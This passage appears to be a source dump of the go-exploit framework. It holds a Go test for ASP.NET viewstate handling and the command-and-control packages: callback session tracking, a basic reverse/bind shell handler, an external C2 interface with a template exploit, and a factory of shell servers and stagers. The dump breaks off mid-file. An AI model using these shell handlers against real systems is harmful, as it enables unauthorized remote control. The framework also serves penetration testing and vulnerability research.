value=\"/wEPDwULLTE4OTcxMDA5NzIPZBYCZg9kFgQCAw8WAh4EVGV4dGVkAgUPZBYIAgYPZBYGAjsPEGQPFgRmAgECAgIDFgQQBRREZWZhdWx0IC0gYWxsIGluIG9uZQUHZGVmYXVsdGcQBQZNeSBTcWwFBW15c3FsZxAFClNRTCBTZXJ2ZXIFA3NxbGcQBQpQb3N0Z3JlU1FMBQRwc3FsZxYBAgNkAj0PDxYCHgdWaXNpYmxlaGRkAkUPDxYCHwFnZGQCCA8PFgIeC05hdmlnYXRlVXJsBSVodHRwOi8vd3d3LmdsYWRpbmV0LmNvbS9wL2NvbnRhY3QuaHRtZGQCCQ8PFgIfAgUjaHR0cDovL3d3dy5nbGFkaW5ldC5jb20vcC90ZXJtcy5odG1kZAIKDw8WAh8CBSVodHRwOi8vd3d3LmdsYWRpbmV0LmNvbS9wL3ByaXZhY3kuaHRtZGQYAQUeX19Db250cm9sc1JlcXVpcmVQb3N0QmFja0tleV9fFgEFIGN0bDAwJE1haW5Db250ZW50JFBTUUxDaGtTU0xNb2Rlt1OAugQHTFQSO9InFhq1a4zTB6w=\" />\n</div>\n<div>\n\t<!-- contrived example removes <input type=\"hidden\" name=\"__VIEWSTATEGENERATOR\" id=\"__VIEWSTATEGENERATOR\" value=\"C73717A7\" /> -->\n\t<input type=\"hidden\" name=\"__EVENTVALIDATION\" id=\"__EVENTVALIDATION\" value=\"/wEdAA1uUUuJru4fqcEgJkMrkl/VzivrZbTfl5HxflMl0WEimkj+n3ntyqDMPWej+FjsRo61P6Uqwq7GZ15buFg7WHqF4VZwC+5O3u0TMTTYeToUrXDySQQEwxvyin+PIQ6Xt1J+6SNjww5M+V+WUpWYV8cEoUTnLwGbguM3r6r03Xnunl50DFJPWsXTExtP5yQn7eqIN4VNCPK0IRBU8qYLZ2Qrlo7dTb8AdCT3V/XWpLNKSntkbVfk8X4Pe7mGcdZvwtNpqJ+bt/0dmbPhJrKioUwF+aS81hLoX5JwP8HKC0ur6/9jlQ8=\" />\n</div>\n</body>\n</html>\n`\n\nfunc TestState_Full(t *testing.T) {\n\tstate := aspnet.State{}\n\tp := state.AsParams()\n\tif len(p) != 0 {\n\t\tt.Error(\"Parameters should not have state currently\")\n\t}\n\n\tstate.Update(pageState1)\n\tp = state.AsParams()\n\tif len(p) == 0 {\n\t\tt.Error(\"Parameters should have state currently\")\n\t}\n\tif len(p) != 6 {\n\t\tt.Errorf(\"First state should only have 6 values: %d - %#v\", len(p), p)\n\t}\n\n\tvalue, exists := p[\"__VIEWSTATE\"]\n\tif !exists {\n\t\tt.Error(\"ViewState should be set on first request state update\")\n\t}\n\tif value != `/wEPDwULLTE4OTcxMDA5NzIPZBYCZg9kFgQCAw8WAh4EVGV4dGVkAgUPZBYIAgYPZBYCAjsPEGQPFgRmAgECAgIDFgQQBRREZWZhdWx0IC0gYWxsIGluIG9uZQUHZGVmYXVsdGcQBQZNeSBTcWwFBW15c3FsZxAFClNRTCBTZXJ2ZXIFA3NxbGcQBQpQb3N0Z3JlU1FMBQRwc3FsZxYBZmQCCA8PFgIeC05hdmlnYXRlVXJsBSVodHRwOi8vd3d3LmdsYWRpbmV0LmNvbS9wL2NvbnRhY3QuaHRtZGQCCQ8PFgIfAQUjaHR0cDovL3d3dy5nbGFkaW5ldC5jb20vcC90ZXJtcy5odG1kZAIKDw8WAh8BBSVodHRwOi8vd3d3LmdsYWRpbmV0LmNvbS9wL3ByaXZhY3kuaHRtZGRkhIVOv1laSf4FVfKCihTCvPyajtM=` {\n\t\tt.Error(\"ViewState on first update is unexpected\")\n\t}\n\n\tvalue, exists = p[\"__LASTFOCUS\"]\n\tif !exists {\n\t\tt.Error(\"LastFocus should not be nil\")\n\t}\n\tif value != `` {\n\t\tt.Error(\"LastFocus should be set but is an empty string\")\n\t}\n\tif state.ViewStateGenerator == nil {\n\t\tt.Errorf(\"ViewStateGenerator should not be nil on first request: %#v\", state.ViewStateGenerator)\n\t}\n\n\tstate.Update(pageState2)\n\tp = state.AsParams()\n\tif len(p) == 0 {\n\t\tt.Error(\"Parameters should have state currently at state 2\")\n\t}\n\tif len(p) != 5 {\n\t\tt.Errorf(\"Second state should only have 5 values: %d - %#v\", len(p), p)\n\t}\n\tif state.ViewStateGenerator != nil {\n\t\tt.Errorf(\"ViewStateGenerator should be nil on second request: %#v\", state.ViewStateGenerator)\n\t}\n\tif state.ViewState == nil {\n\t\tt.Errorf(\"ViewState should be not be nil on second request: %#v\", state.ViewStateGenerator)\n\t}\n\tif *state.ViewState != `/wEPDwULLTE4OTcxMDA5NzIPZBYCZg9kFgQCAw8WAh4EVGV4dGVkAgUPZBYIAgYPZBYGAjsPEGQPFgRmAgECAgIDFgQQBRREZWZhdWx0IC0gYWxsIGluIG9uZQUHZGVmYXVsdGcQBQZNeSBTcWwFBW15c3FsZxAFClNRTCBTZXJ2ZXIFA3NxbGcQBQpQb3N0Z3JlU1FMBQRwc3FsZxYBAgNkAj0PDxYCHgdWaXNpYmxlaGRkAkUPDxYCHwFnZGQCCA8PFgIeC05hdmlnYXRlVXJsBSVodHRwOi8vd3d3LmdsYWRpbmV0LmNvbS9wL2NvbnRhY3QuaHRtZGQCCQ8PFgIfAgUjaHR0cDovL3d3dy5nbGFkaW5ldC5jb20vcC90ZXJtcy5odG1kZAIKDw8WAh8CBSVodHRwOi8vd3d3LmdsYWRpbmV0LmNvbS9wL3ByaXZhY3kuaHRtZGQYAQUeX19Db250cm9sc1JlcXVpcmVQb3N0QmFja0tleV9fFgEFIGN0bDAwJE1haW5Db250ZW50JFBTUUxDaGtTU0xNb2Rlt1OAugQHTFQSO9InFhq1a4zTB6w=` {\n\t\tt.Error(\"ViewState on second update is unexpected\")\n\t}\n}\n\nfunc TestState_Each(t *testing.T) {\n\tstate := aspnet.State{}\n\tp := state.AsParams()\n\tif len(p) != 0 {\n\t\tt.Error(\"Parameters should not have state currently\")\n\t}\n\n\tstate.Update(pageState1)\n\tp = state.AsParams()\n\tif len(p) == 0 {\n\t\tt.Error(\"Parameters should have state currently\")\n\t}\n\tif len(p) != 6 {\n\t\tt.Errorf(\"First state should only have 6 values: %d - %#v\", len(p), p)\n\t}\n\n\tvalue, exists := p[\"__VIEWSTATE\"]\n\tif !exists {\n\t\tt.Error(\"ViewState should be set on first request state update\")\n\t}\n\tif value != `/wEPDwULLTE4OTcxMDA5NzIPZBYCZg9kFgQCAw8WAh4EVGV4dGVkAgUPZBYIAgYPZBYCAjsPEGQPFgRmAgECAgIDFgQQBRREZWZhdWx0IC0gYWxsIGluIG9uZQUHZGVmYXVsdGcQBQZNeSBTcWwFBW15c3FsZxAFClNRTCBTZXJ2ZXIFA3NxbGcQBQpQb3N0Z3JlU1FMBQRwc3FsZxYBZmQCCA8PFgIeC05hdmlnYXRlVXJsBSVodHRwOi8vd3d3LmdsYWRpbmV0LmNvbS9wL2NvbnRhY3QuaHRtZGQCCQ8PFgIfAQUjaHR0cDovL3d3dy5nbGFkaW5ldC5jb20vcC90ZXJtcy5odG1kZAIKDw8WAh8BBSVodHRwOi8vd3d3LmdsYWRpbmV0LmNvbS9wL3ByaXZhY3kuaHRtZGRkhIVOv1laSf4FVfKCihTCvPyajtM=` {\n\t\tt.Error(\"ViewState on first update is unexpected\")\n\t}\n\n\tvalue, exists = p[\"__LASTFOCUS\"]\n\tif !exists {\n\t\tt.Error(\"LastFocus should not be nil\")\n\t}\n\tif value != `` {\n\t\tt.Error(\"LastFocus should be set but is an empty string\")\n\t}\n\tvalue, exists = p[\"__VIEWSTATEGENERATOR\"]\n\tif !exists {\n\t\tt.Error(\"ViewStateGenerator should not be nil\")\n\t}\n\tif value != `C73717A7` {\n\t\tt.Error(\"ViewStateGenerator on first update is unexpected\")\n\t}\n\tvalue, exists = p[\"__EVENTVALIDATION\"]\n\tif !exists {\n\t\tt.Error(\"EventValidation should not be nil\")\n\t}\n\tif value != `/wEdAAdexv6/qKqWdd7V9UzkVbKnzivrZbTfl5HxflMl0WEimkj+n3ntyqDMPWej+FjsRo61P6Uqwq7GZ15buFg7WHqF4VZwC+5O3u0TMTTYeToUrXDySQQEwxvyin+PIQ6Xt1JpqJ+bt/0dmbPhJrKioUwF82Mylv8B1bqOz6F0llEnG94eilk=` {\n\t\tt.Error(\"EventValidation on first update is unexpected\")\n\t}\n\tif state.EventArgument == nil {\n\t\tt.Errorf(\"EventArgument should not be nil on second request: %#v\", state.EventArgument)\n\t}\n\tif *state.EventArgument != \"\" {\n\t\tt.Errorf(\"EventArgument should be empty string on second request: %#v\", state.EventArgument)\n\t}\n\tif state.EventTarget == nil {\n\t\tt.Errorf(\"EventTarget should not be nil on second request: %#v\", state.EventTarget)\n\t}\n\tif *state.EventTarget != \"\" {\n\t\tt.Errorf(\"EventTarget should be empty string on second request: %#v\", state.EventTarget)\n\t}\n}\n\nfunc TestState_Merge(t *testing.T) {\n\tstate := aspnet.State{}\n\tp := state.AsParams()\n\tif len(p) != 0 {\n\t\tt.Error(\"Parameters should not have state currently\")\n\t}\n\n\tstate.Update(pageState1)\n\tp = state.AsParams()\n\tif len(p) == 0 {\n\t\tt.Error(\"Parameters should have state currently\")\n\t}\n\tif len(p) != 6 {\n\t\tt.Errorf(\"State should only have 6 values: %d - %#v\", len(p), p)\n\t}\n\tv := map[string]string{\n\t\t\"STUFF\": \"THINGS\",\n\t}\n\tmerged := state.MergeParams(v)\n\tif len(merged) != 7 {\n\t\tt.Errorf(\"State should have 7 values: %d - %#v\", len(p), p)\n\t}\n}\n"
  },
  {
    "path": "c2/channel/channel.go",
    "content": "// The channel package is the container for first-party framework C2 structures and variables, it\n// holds the internal settings for multiple types of C2s. It is also passed to other external C2\n// components in order to support extracting components such as lhost and lport.\npackage channel\n\nimport (\n\t\"crypto/rand\"\n\t\"encoding/base32\"\n\t\"io\"\n\t\"net\"\n\t\"sync/atomic\"\n\t\"time\"\n\n\t\"github.com/vulncheck-oss/go-exploit/output\"\n)\n\ntype Channel struct {\n\tIPAddr   string\n\tHTTPAddr string\n\tPort     int\n\tHTTPPort int\n\tTimeout  int\n\tIsClient bool\n\tShutdown *atomic.Bool\n\tSessions map[string]Session\n\tInput    io.Reader\n\tOutput   io.Writer // Currently unused but figured we'd add it ahead of time\n}\n\ntype Session struct {\n\tRemoteAddr     string\n\tConnectionTime time.Time\n\tconn           *net.Conn\n\tActive         bool\n\tLastSeen       time.Time\n}\n\n// HadSessions checks if a channel has any tracked sessions. This can be used to lookup if a C2\n// successfully received callbacks ever, regardless of whether or not it is currently active.\n//\n//\tc, ok := c2.GetInstance(conf.C2Type)\n//\tc.Channel().HadSessions()\nfunc (c *Channel) HadSessions() bool {\n\t// Currently sessions are only added to the session structure and then their states are modified.\n\t// This will only work as long as the sessions are never actually removed from the map, which for\n\t// now isn't an issue but if we ever switch to a history vs active tracking systtem then this will\n\t// not be sufficient.\n\treturn len(c.Sessions) > 0\n}\n\n// HasSessions checks if a channel has any tracked sessions. This can be used to lookup if a C2\n// successfully received callbacks:\n//\n//\tc, ok := c2.GetInstance(conf.C2Type)\n//\tc.Channel().HasSessions()\nfunc (c *Channel) HasSessions() bool {\n\tfor _, sess := range c.Sessions {\n\t\tif sess.Active {\n\t\t\treturn true\n\t\t}\n\t}\n\n\treturn false\n}\n\n// AddSession adds a remote connection for session tracking. If a network connection is being\n// tracked it can be added here and will be cleaned up and closed automatically by the C2 on\n// shutdown.\nfunc (c *Channel) AddSession(conn *net.Conn, addr string) bool {\n\tif len(c.Sessions) == 0 {\n\t\tc.Sessions = make(map[string]Session)\n\t}\n\t// This is my session randomizing logic. The theory is that it keeps us dependency free while\n\t// also creating the same 16bit strength of UUIDs. If we only plan on using the random UUIDs\n\t// anyway this should meet the same goals while also being URL safe and no special characters.\n\tk := make([]byte, 16)\n\t_, err := rand.Read(k)\n\tif err != nil {\n\t\toutput.PrintfFrameworkError(\"Could not add session: %s\", err.Error())\n\n\t\treturn false\n\t}\n\tid := base32.StdEncoding.WithPadding(base32.NoPadding).EncodeToString(k)\n\tc.Sessions[id] = Session{\n\t\t// Add the time of now to the current connection time\n\t\tConnectionTime: time.Now(),\n\t\tconn:           conn,\n\t\tRemoteAddr:     addr,\n\t\tLastSeen:       time.Now(),\n\t\tActive:         true,\n\t}\n\n\treturn true\n}\n\n// Updates the LastSeen value for provided connection to the provided time.\nfunc (c *Channel) UpdateLastSeenByConn(conn net.Conn, timeStamp time.Time) bool {\n\tid, ok := c.GetSessionIDByConn(conn)\n\tif !ok {\n\t\treturn false\n\t}\n\n\tsession, ok := c.Sessions[id]\n\tif !ok {\n\t\toutput.PrintFrameworkError(\"Session ID does not exist\")\n\n\t\treturn false\n\t}\n\n\tsession.LastSeen = timeStamp\n\tc.Sessions[id] = session\n\n\treturn true\n}\n\n// Returns the session ID that contains a given connection.\nfunc (c *Channel) GetSessionIDByConn(conn net.Conn) (string, bool) {\n\tif len(c.Sessions) == 0 {\n\t\toutput.PrintFrameworkDebug(\"No sessions exist\")\n\n\t\treturn \"\", false\n\t}\n\n\tfor id, session := range c.Sessions {\n\t\tif *session.conn == conn {\n\t\t\treturn id, true\n\t\t}\n\t}\n\n\toutput.PrintFrameworkError(\"Conn does not exist in sessions\")\n\n\treturn \"\", false\n}\n\n// RemoveSession removes a specific session ID and if a connection exists, closes it.\nfunc (c *Channel) RemoveSession(id string) bool {\n\tif len(c.Sessions) == 0 {\n\t\toutput.PrintFrameworkDebug(\"No sessions exist\")\n\n\t\treturn false\n\t}\n\tsession, ok := c.Sessions[id]\n\tif !ok {\n\t\toutput.PrintFrameworkError(\"Session ID does not exist\")\n\n\t\treturn false\n\t}\n\tif c.Sessions[id].conn != nil {\n\t\t(*c.Sessions[id].conn).Close()\n\t}\n\tsession.Active = false\n\tc.Sessions[id] = session\n\n\treturn true\n}\n\n// RemoveSessions removes all tracked sessions and closes any open connections if applicable.\nfunc (c *Channel) RemoveSessions() bool {\n\tif len(c.Sessions) == 0 {\n\t\toutput.PrintFrameworkDebug(\"No sessions exist\")\n\n\t\treturn false\n\t}\n\tfor id := range c.Sessions {\n\t\tc.RemoveSession(id)\n\t}\n\n\treturn true\n}\n"
  },
  {
    "path": "c2/cli/basic.go",
    "content": "// Command-line helpers for C2s\npackage cli\n\nimport (\n\t\"bufio\"\n\t\"net\"\n\t\"os\"\n\t\"sync\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/vulncheck-oss/go-exploit/c2/channel\"\n\t\"github.com/vulncheck-oss/go-exploit/output\"\n\t\"github.com/vulncheck-oss/go-exploit/protocol\"\n)\n\n// backgroundResponse handles the network connection reading for response data and contains a\n// trigger to the shutdown of the channel to ensure cleanup happens on socket close.\nfunc backgroundResponse(ch *channel.Channel, wg *sync.WaitGroup, conn net.Conn, responseCh chan string) {\n\tdefer wg.Done()\n\tdefer func(channel *channel.Channel) {\n\t\t// Signals for both routines to stop, this should get triggered when socket is closed\n\t\t// and causes it to fail the read\n\t\tchannel.Shutdown.Store(true)\n\t}(ch)\n\tresponseBuffer := make([]byte, 1024)\n\tfor {\n\t\tif ch.Shutdown.Load() {\n\t\t\treturn\n\t\t}\n\n\t\terr := conn.SetReadDeadline(time.Now().Add(1 * time.Second))\n\t\tif err != nil {\n\t\t\toutput.PrintfFrameworkError(\"Error setting read deadline: %s, exiting.\", err)\n\n\t\t\treturn\n\t\t}\n\n\t\tbytesRead, err := conn.Read(responseBuffer)\n\t\tif err != nil && !os.IsTimeout(err) {\n\t\t\t// things have gone sideways, but the command line won't know that\n\t\t\t// until they attempt to execute a command and the socket fails.\n\t\t\t// i think that's largely okay.\n\t\t\treturn\n\t\t}\n\n\t\tif bytesRead > 0 {\n\t\t\t// I think there is technically a race condition here where the socket\n\t\t\t// could have move data to write, but the user has already called exit\n\t\t\t// below. I that that's tolerable for now.\n\t\t\tresponseCh <- string(responseBuffer[:bytesRead])\n\t\t\t// Update \"Last Seen\"\n\t\t\tok := ch.UpdateLastSeenByConn(conn, time.Now())\n\t\t\tif !ok {\n\t\t\t\toutput.PrintFrameworkError(\"Failed to update LastSeen value for connection\")\n\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t\ttime.Sleep(10 * time.Millisecond)\n\t}\n}\n\n// A very basic reverse/bind shell handler.\nfunc Basic(conn net.Conn, ch *channel.Channel) {\n\t// Create channels for communication between goroutines.\n\tresponseCh := make(chan string)\n\n\t// Use a WaitGroup to wait for goroutines to finish.\n\tvar wg sync.WaitGroup\n\n\t// Goroutine to read responses from the server.\n\twg.Add(1)\n\n\t// If running in the test context inherit the channel input setting, this will let us control the\n\t// input of the shell programmatically.\n\tif !testing.Testing() {\n\t\tch.Input = os.Stdin\n\t}\n\tgo backgroundResponse(ch, &wg, conn, responseCh)\n\n\t// Goroutine to handle responses and print them.\n\twg.Add(1)\n\tgo func(channel *channel.Channel) {\n\t\tdefer wg.Done()\n\t\tfor {\n\t\t\tif channel.Shutdown.Load() {\n\t\t\t\treturn\n\t\t\t}\n\t\t\tselect {\n\t\t\tcase response := <-responseCh:\n\t\t\t\toutput.PrintShell(response)\n\t\t\tdefault:\n\t\t\t}\n\t\t\ttime.Sleep(10 * time.Millisecond)\n\t\t}\n\t}(ch)\n\n\tgo func(channel *channel.Channel) {\n\t\t// no waitgroup for this one because blocking IO, but this should not matter\n\t\t// since we are intentionally not trying to be a multi-implant C2 framework.\n\t\t// There still remains the issue that you would need to hit enter to find out\n\t\t// that the socket is dead but at least we can stop Basic() regardless of this fact.\n\t\t// This issue of unblocking stdin is discussed at length here https://github.com/golang/go/issues/24842\n\t\tfor {\n\t\t\treader := bufio.NewReader(ch.Input)\n\t\t\tcommand, _ := reader.ReadString('\\n')\n\t\t\tif channel.Shutdown.Load() {\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tif command == \"exit\\n\" {\n\t\t\t\tchannel.Shutdown.Store(true)\n\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tok := protocol.TCPWrite(conn, []byte(command))\n\t\t\tif !ok {\n\t\t\t\tchannel.Shutdown.Store(true)\n\n\t\t\t\tbreak\n\t\t\t}\n\t\t\ttime.Sleep(10 * time.Millisecond)\n\t\t}\n\t}(ch)\n\n\t// wait until the go routines are clean up\n\twg.Wait()\n\tclose(responseCh)\n}\n"
  },
  {
    "path": "c2/external/external.go",
    "content": "// The external C2 module extends the C2 functionality and exposes an interface to allow for an\n// exploit to utilize a channel that is defined in an external repository. This enables third-party\n// and non-trivial channels. This module defines an interface and external service type that must be\n// handled by the implementing external module.\n//\n// The External interface requires the following functions, each of which require the external\n// C2 to define a set of functions:\n//\n//   - Configure - A function to wrap the internal C2 functions and integrate them into the\n//     go-exploit expected structure.\n//   - SetFlags - Configure the C2 specific flags used by the exploit.\n//   - SetInit - Sets up the server singleton/C2 representation of the server structs.\n//   - SetChannel` - Creates the go-exploit channel that is the framework representation of an\n//     object and allows for channel settings to filter into the external module.\n//   - SetRun - The function that actually runs the external C2.\n//\n// At this time only one External module can be defined per exploit as the implementation and\n// singleton can not be duplicated.\n//\n// # Creating an external C2 channel\n//\n// An external module template will generally be structured as follows:\n//\n//\tpackage c2external\n//\n//\timport (\n//\t\t\"flag\"\n//\t\t\"net\"\n//\n//\t\t\"github.com/vulncheck-oss/go-exploit/c2\"\n//\t\t\"github.com/vulncheck-oss/go-exploit/c2/channel\"\n//\t\t\"github.com/vulncheck-oss/go-exploit/c2/external\"\n//\t)\n//\n//\tvar flagCommand string\n//\n//\tvar (\n//\t\tName      = \"ExtServer\"\n//\t\tExtServer c2.Impl\n//\t)\n//\n//\ttype ExternalC2 struct {\n//\t\tChannel *channel.Channel\n//\t\t// Example of how you can define variables accessible in the set functions\n//\t\tListener *net.Listener\n//\t}\n//\n//\tfunc New() ExternalC2 {\n//\t\treturn ExternalC2{}\n//\t}\n//\n//\tfunc (c2 *ExternalC2) ExtServerFlags() {\n//\t\t// Flags for the external C2. The run function in the framework handles the parsing and\n//\t\t// the options will be available to the exploit.\n//\t\tflag.StringVar(&flagCommand, Name+\".command\", \"\", \"Run a single command and exit the payload.\")\n//\t}\n//\n//\tfunc (c2 *ExternalC2) ExtServerInit() {\n//\t\t// Any initialization such as key generation or external configuration components can go\n//\t\t// here.\n//\t}\n//\n//\tfunc (c2 *ExternalC2) ExtServerChannel(channel *channel.Channel) {\n//\t\t// This will generally just be setting the internal channel to match the expected\n//\t\t// go-exploit channel and provide access to the framework channel.\n//\t\tc2.Channel = channel\n//\t}\n//\n//\tfunc (c2 *ExternalC2) ExtServerRun(timeout int) bool {\n//\t\t// Add any servers or connection pooling here\n//\t\t// Make sure to handle the timeout!\n//\t\treturn false\n//\t}\n//\n//\tfunc Configure(externalServer *external.Server) {\n//\t\tExtServer = c2.AddC2(Name)\n//\t\textc2 := New()\n//\t\texternalServer.SetFlags(extc2.ExtServerFlags)\n//\t\texternalServer.SetChannel(extc2.ExtServerChannel)\n//\t\texternalServer.SetInit(extc2.ExtServerInit)\n//\t\texternalServer.SetRun(extc2.ExtServerRun)\n//\t}\n//\n// # Adding an external C2 to an exploit\n//\n// In order to add an external C2 to an exploit it is required to get a new\n//\n//\tpackage main\n//\n//\timport (\n//\t\t\"flag\"\n//\t\t\"os/exec\"\n//\n//\t\t\"github.com/vulncheck-oss/go-exploit\"\n//\t\t\"github.com/vulncheck-oss/go-exploit/c2\"\n//\t\t\"github.com/vulncheck-oss/go-exploit/c2/external\"\n//\t\t\"github.com/vulncheck-oss/go-exploit/config\"\n//\t\t\"github.com/vulncheck-oss/go-exploit/output\"\n//\n//\t\tc2example \"github.com/vulncheck-oss/external-c2-experiments/example\"\n//\t)\n//\n//\ttype ExternalTest struct{}\n//\n//\tvar flagPayload string\n//\n//\tfunc (sploit ExternalTest) ValidateTarget(_ *config.Config) bool {\n//\t\treturn false\n//\t}\n//\n//\tfunc (sploit ExternalTest) CheckVersion(_ *config.Config) exploit.VersionCheckType {\n//\t\treturn exploit.NotImplemented\n//\t}\n//\n//\tfunc (sploit ExternalTest) RunExploit(conf *config.Config) bool {\n//\t\tif flagPayload == \"\" {\n//\t\t\toutput.PrintfStatus(\"Payload argument required\")\n//\t\t\treturn false\n//\t\t}\n//\t\tcmd := exec.Command(flagPayload)\n//\t\tstdoutStderr, err := cmd.CombinedOutput()\n//\t\tif err != nil {\n//\t\t\toutput.PrintfError(\"%s\", err.Error())\n//\t\t}\n//\t\toutput.PrintfError(\"%s\", stdoutStderr)\n//\n//\t\treturn true\n//\t}\n//\n//\tfunc main() {\n//\t\tflag.StringVar(&flagPayload, \"payload\", \"\", \"Payload to execute\")\n//\t\text2 := external.GetInstance(c2example.ExtServer.Name)\n//\t\tc2example.Configure(ext2)\n//\t\tsupportedC2 := []c2.Implementation{\n//\t\t\tc2example.ExtServer,\n//\t\t\tc2.SimpleShellServer,\n//\t\t}\n//\n//\t\tconf := config.NewRemoteExploit(\n//\t\t\t\tconfig.ImplementedFeatures{\n//\t\t\t\t\tAssetDetection: false,\n//\t\t\t\t\tVersionScanning: false,\n//\t\t\t\t\tExploitation: false },\n//\t\t\t\tconfig.CodeExecution, supportedC2,\n//\t\t\t\t\"Vendor\", []string{\"Product\"},\n//\t\t\t\t[]string{\"cpe:2.3:a:vendor:product\"},\n//\t\t\t\t\"CVE-2024-1270\", \"HTTP\", 8080\n//\t\t\t)\n//\t\tsploit := ExternalTest{}\n//\t\texploit.RunProgram(sploit, conf)\n//\t}\n//\n// It is important to keep in mind that a payload will still need to be written for our newly\n// created external C2, as well as handling said payload in the exploit.\n//\n// In order to use the above C2 in an exploit the following shows how it could be used:\npackage external\n\nimport (\n\t\"github.com/vulncheck-oss/go-exploit/c2/channel\"\n\t\"github.com/vulncheck-oss/go-exploit/output\"\n)\n\n// The Server struct holds the declared external modules internal functions and channel data.\ntype Server struct {\n\tflags    func()\n\tinit     func()\n\trun      func(int) bool\n\tshutdown func() bool\n\tmeta     func(*channel.Channel)\n\tchannel  *channel.Channel\n\tname     string\n}\n\n// The External interface defines which functions are required to be defined in an external C2\n// channel in order to function inside the framework properly. These are ordered in generally\n// suggested execution order.\ntype External interface {\n\tConfigure(*Server)\n\tSetChannel(func(*channel.Channel))\n\tSetFlags(func())\n\tSetInit(func())\n\tSetRun(func(int) bool)\n\tSetShutdown(func() bool)\n}\n\nvar serverSingletons map[string]*Server\n\n// Gets the singleton instance of the external C2. These are kept track based on their internal\n// names.\nfunc GetInstance(externalName string) *Server {\n\tif len(serverSingletons) == 0 {\n\t\tserverSingletons = make(map[string]*Server)\n\t\tsingleton := new(Server)\n\t\tsingleton.name = externalName\n\t\tserverSingletons[externalName] = singleton\n\n\t\treturn singleton\n\t}\n\t_, exists := serverSingletons[externalName]\n\tif !exists {\n\t\tsingleton := new(Server)\n\t\tsingleton.name = externalName\n\t\tserverSingletons[externalName] = singleton\n\n\t\treturn singleton\n\t}\n\n\treturn serverSingletons[externalName]\n}\n\n// SetFlags sets the external modules function for command line flag management.\nfunc (externalServer *Server) SetFlags(f func()) {\n\tif f == nil {\n\t\tpanic(\"SetFlags *must* be a valid function\")\n\t}\n\texternalServer.flags = f\n}\n\n// CreateFlags is used by the framework to run the set function for flag management. This is not\n// expected to be implemented by the downstream external C2.\nfunc (externalServer *Server) CreateFlags() {\n\tif externalServer.flags == nil {\n\t\tpanic(\"CreateFlags *must* be a valid function\")\n\t}\n\texternalServer.flags()\n}\n\n// SetInit sets the external C2 initialization function. This function is expected to be used for\n// any database management, configuration parsing, and any other functionality required for the C2\n// that is not managed by the go-exploit framework channels or command line flags.\nfunc (externalServer *Server) SetInit(f func()) {\n\tif externalServer.flags == nil {\n\t\tpanic(\"Init *must* be a valid function\")\n\t}\n\texternalServer.init = f\n}\n\n// SetChannel sets the function for channel management. The go-exploit channel represents basic\n// settings that are provided to the frameworks core modules and are regularly used as ergonomic\n// helpers, but may also be required by the external module (ie accessing -lhost or -lport variables\n// without having to resort to passing all flag arguments). This generally does not need to\n// be complex and is often just passing the channel to a C2 side variable, but they can also be used\n// to modify the channel for use in a C2.\nfunc (externalServer *Server) SetChannel(f func(*channel.Channel)) {\n\texternalServer.meta = f\n}\n\n// Init triggers the set C2 initialization and passes the channel to the external module.\nfunc (externalServer *Server) Init(channel *channel.Channel) bool {\n\tif channel.IsClient {\n\t\toutput.PrintFrameworkError(\"Called ExternalServer as a client.\")\n\n\t\treturn false\n\t}\n\texternalServer.init()\n\texternalServer.meta(channel)\n\n\treturn true\n}\n\n// SetRun sets the external C2 run logic. This is often where the core of the handling is done and\n// will often times be setting up listeners, connecting to a SaaS service and querying for payload\n// responses, setting up external handlers, etc.\nfunc (externalServer *Server) SetRun(f func(int) bool) {\n\texternalServer.run = f\n}\n\n// Triggers the external modules Run function with the set timeout.\nfunc (externalServer *Server) Run(timeout int) {\n\texternalServer.run(timeout)\n}\n\n// SetShutdown sets the function for server shutdown handling and session cleanup logic. This\n// function is what gets called when the framework receives a OS signal, a shell is closed, or\n// manually invoked.\nfunc (externalServer *Server) SetShutdown(f func() bool) {\n\texternalServer.shutdown = f\n}\n\n// Shutdown triggers the set shutdown function.\nfunc (externalServer *Server) Shutdown() bool {\n\treturn externalServer.shutdown()\n}\n\n// Return the underlying C2 channel containing channel metadata and session tracking.\nfunc (externalServer *Server) Channel() *channel.Channel {\n\t// I'd much rather have just exposed a `Server.Channel`, but we are interface bound\n\treturn externalServer.channel\n}\n"
  },
  {
    "path": "c2/factory.go",
    "content": "// Command and Control (C2)\npackage c2\n\nimport (\n\t\"github.com/vulncheck-oss/go-exploit/c2/channel\"\n\t\"github.com/vulncheck-oss/go-exploit/c2/external\"\n\t\"github.com/vulncheck-oss/go-exploit/c2/httpservefile\"\n\t\"github.com/vulncheck-oss/go-exploit/c2/httpserveshell\"\n\t\"github.com/vulncheck-oss/go-exploit/c2/httpshellserver\"\n\t\"github.com/vulncheck-oss/go-exploit/c2/shelltunnel\"\n\t\"github.com/vulncheck-oss/go-exploit/c2/simpleshell\"\n\t\"github.com/vulncheck-oss/go-exploit/c2/sslshell\"\n\t\"github.com/vulncheck-oss/go-exploit/output\"\n)\n\n// An interface used by both reverse shells, bind shells, and stagers.\ntype Interface interface {\n\tCreateFlags()\n\tInit(channel *channel.Channel) bool\n\tRun(timeout int)\n\tShutdown() bool\n\tChannel() *channel.Channel\n}\n\n// Internal representation of a C2 implementation. Each C2 is managed by\n// the framework by the Impl struct type and should be unique.\ntype Impl struct {\n\tName     string\n\tCategory category\n}\n\n// Categories allow for type hints and invalid checks.\ntype category int\n\nconst (\n\tInvalidCategory           category = -1\n\tSimpleShellServerCategory category = 0\n\tSimpleShellClientCategory category = 1\n\tSSLShellServerCategory    category = 2\n\tHTTPServeFileCategory     category = 3\n\tHTTPServeShellCategory    category = 4\n\tExternalCategory          category = 5\n\tShellTunnelCategory       category = 6\n\tHTTPShellServerCategory   category = 7\n)\n\n// Simplified names in order to keep the old calling convention and allow\n// for quick references in supported C2 functions.\nvar (\n\tSimpleShellServer = internalSupported[\"SimpleShellServer\"]\n\tSimpleShellClient = internalSupported[\"SimpleShellClient\"]\n\tSSLShellServer    = internalSupported[\"SSLShellServer\"]\n\tHTTPServeFile     = internalSupported[\"HTTPServeFile\"]\n\tHTTPServeShell    = internalSupported[\"HTTPServeShell\"]\n\tShellTunnel       = internalSupported[\"ShellTunnel\"]\n\tHTTPShellServer   = internalSupported[\"HTTPShellServer\"]\n\t// We do not want external to be called directly because external\n\t// internally is not useful.\n)\n\n// The internal representation and model for keeping track of C2s. This is\n// modified by external modules, but first-party framework supported\n// channels are defined here.\nvar internalSupported = map[string]Impl{\n\t\"SimpleShellServer\": {Name: \"SimpleShellServer\", Category: SimpleShellServerCategory},\n\t\"SimpleShellClient\": {Name: 